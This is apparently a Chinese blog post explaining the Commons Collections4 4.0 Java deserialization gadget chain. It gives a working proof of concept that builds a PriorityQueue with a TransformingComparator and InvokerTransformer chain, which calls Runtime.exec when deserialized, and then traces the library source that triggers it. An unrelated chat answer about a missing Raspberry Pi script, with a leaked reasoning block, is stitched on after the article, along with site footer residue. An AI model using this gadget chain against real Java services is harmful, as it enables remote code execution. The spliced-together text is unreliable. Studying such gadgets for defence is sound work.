Common-Collection4 gadget

该文章详细介绍了如何使用ApacheCommonsCollections4库中的TransformingComparator和ChainedTransformer、InvokerTransformer创建一个可以执行命令的优先队列(PriorityQueue)。在反序列化过程中,由于比较器的transform方法会调用反射执行方法,导致可能的安全风险,例如通过执行`Runtime.exec(calc)`弹出计算器。文章揭示了Java序列化过程中的潜在安全问题。
  1. 使用的common-collection4版本

<dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
</dependency>
  1. 复现代码

package com.fetching.test.commoncollection4;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.PriorityQueue;

/**
 * Common-Collection4 gadget 测试
 */
public class CommonCollection4Test {
    public PriorityQueue test() {
        //组装:((Runtime)Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        );

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        try{
            priorityQueue.add(1);
            priorityQueue.add(2);
        }catch(Exception ex) {
            ex.printStackTrace();
        }
        return priorityQueue;
    }

    public static void main(String[] args) throws Exception {
        /*
        CommonCollection4Test commonCollection4Test = new CommonCollection4Test();
        PriorityQueue queue = commonCollection4Test.test();
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("d:/objtest")));
            oos.writeObject(queue);
            oos.flush();
            oos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
         */
        ObjectInputStream ios = new ObjectInputStream(new FileInputStream(new File("d:/objtest")));
        ios.readObject();
    }
}

3.反序列化整体步骤

a.从文件读取到序列化的流之后,会走PriorityQueue的readObject()方法

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // 用于保证队列内的元素,有序的方法
        heapify();
}

b.heapify()会调用siftDown()方法

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
}

c.siftDown()在传入的comparator不为空的情况下,会调用siftDownComparable方法

private void siftDownComparable(int k, E x) {
        Comparable<? super E> key = (Comparable<? super E>)x;
        int half = size >>> 1;        // loop while a non-leaf
        while (k < half) {
            int child = (k << 1) + 1; // assume left child is least
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
                c = queue[child = right];
            if (key.compareTo((E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = key;
}

d.可以看到,siftDownComparable方法里,会调用Comparator的compare方法;而TransformingComparator的compare方法,会调用transform方法

public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
 }

e.ChainedTransformer的transform方法,会链式调用里面的全部transformer的transform方法。且上一个transform输出的结果,为下一次transform方法执行的参数。

public T transform(T object) {
        Transformer[] arr$ = this.iTransformers;
        int len$ = arr$.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            Transformer<? super T, ? extends T> iTransformer = arr$[i$];
            object = iTransformer.transform(object);
        }
        return object;
}

f.ConstantTransformer和InvokerTransformer

ConstantTransformer的transformer不论传参是什么,都会返回初始化时传入的iConstant

public O transform(I input) {
        return this.iConstant;
}

InvokerTransformer的transform方法,则会使用反射,调用传入的参数的类指定的iMethodName方法

public O transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class<?> cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
}

因此:

new ConstantTransformer(Runtime.class), //链式transformer的第一轮输出,Runtime.class

new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}), //第二轮transform,调用了Runtime.class的getMethod方法,并且method为getRuntime

new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),//第三轮transform,Method被invoke,从而得到Runtime.getRuntime()的结果

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) //第四轮transform,Runtime.getRuntime()作为输入,被执行exec方法,且传参为calc,从而弹出计算器

<think>我们遇到了两个错误信息: 1. `chmod: cannot access 'rpi-uvc-gadget.sh': No such file or directory` 2. `-bash: ./rpi-uvc-gadget.sh: No such file or directory` 第一个错误发生在尝试使用`chmod`命令给文件`rpi-uvc-gadget.sh`添加可执行权限时,系统提示找不到该文件。 第二个错误发生在尝试执行`./rpi-uvc-gadget.sh`时,同样提示没有该文件或目录。 这两个错误都指向同一个问题:当前目录下不存在名为`rpi-uvc-gadget.sh`的文件。 可能的原因: 1. 文件确实不存在:你可能还没有下载或创建这个文件。 2. 文件不在当前目录:你可能在错误的目录下执行命令,或者文件被放置在其他位置。 3. 文件名错误:检查文件名是否拼写正确(包括大小写和扩展名)。 解决方法: 1. 确认文件是否存在:使用`ls`命令查看当前目录下的文件,或者使用`find`命令搜索文件。 ```bash ls ``` 或者 ```bash find / -name rpi-uvc-gadget.sh 2>/dev/null ``` 2. 如果文件在其他目录,可以将其复制到当前目录,或者切换到文件所在目录再执行命令。 3. 如果文件不存在,你需要先获取这个文件。可能是从网上下载,或者自己创建。 注意:当前目录是`~`,即用户主目录(如`/home/coco`)。确保文件已经下载或放置在这个目录下。 另外,如果你需要下载这个文件,可能需要知道它的来源。例如,如果这是一个开源项目中的脚本,你可能需要从项目仓库中下载。 例如,使用`wget`或`curl`下载(如果知道下载链接): ```bash wget https://example.com/path/to/rpi-uvc-gadget.sh ``` 或者 ```bash curl -O https://example.com/path/to/rpi-uvc-gadget.sh ``` 下载完成后,再执行: ```bash chmod +x rpi-uvc-gadget.sh ./rpi-uvc-gadget.sh ``` 如果这个脚本是某个软件包的一部分,你可能需要安装相应的软件包。 总结:问题在于文件不存在,请先确保文件存在并位于当前目录。</think>你遇到的错误表明系统无法找到名为 `rpi-uvc-gadget.sh` 的文件。以下是详细解释和解决方法: ### 错误原因: 1. **`chmod: cannot access ...`** 表示 `chmod` 命令无法访问 `rpi-uvc-gadget.sh` 文件,因为该文件在当前目录(`~` 即 `/home/coco`)中不存在。 2. **`-bash: ./rpi-uvc-gadget.sh: No such file or directory`** 尝试执行脚本时,系统确认该文件不存在或路径错误。 ### 解决方法: 1. **确认文件存在** 运行 `ls -l rpi-uvc-gadget.sh` 检查文件是否在当前位置。如果无输出,说明文件缺失。 2. **获取脚本文件**(任选一种): - **手动下载**: 从官方源获取脚本(如 GitHub)并保存到当前目录: ```bash wget https://raw.githubusercontent.com/your_project_path/rpi-uvc-gadget.sh ``` - **克隆仓库**: 如果脚本属于某个项目,克隆整个仓库: ```bash git clone https://github.com/your_project/repo.git cd repo ``` 3. **检查文件名拼写** 使用 `ls` 查看目录文件,确认文件名是否拼写正确(注意大小写和扩展名)。 4. **确保文件路径正确** 如果文件在其他目录,可通过绝对路径执行: ```bash chmod +x /path/to/rpi-uvc-gadget.sh /path/to/rpi-uvc-gadget.sh ``` ### 操作示例: ```bash # 下载脚本(示例链接,需替换为实际源) coco@raspberrypi:~ $ wget https://example.com/rpi-uvc-gadget.sh # 添加执行权限 coco@raspberrypi:~ $ chmod +x rpi-uvc-gadget.sh # 执行脚本 coco@raspberrypi:~ $ ./rpi-uvc-gadget.sh ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值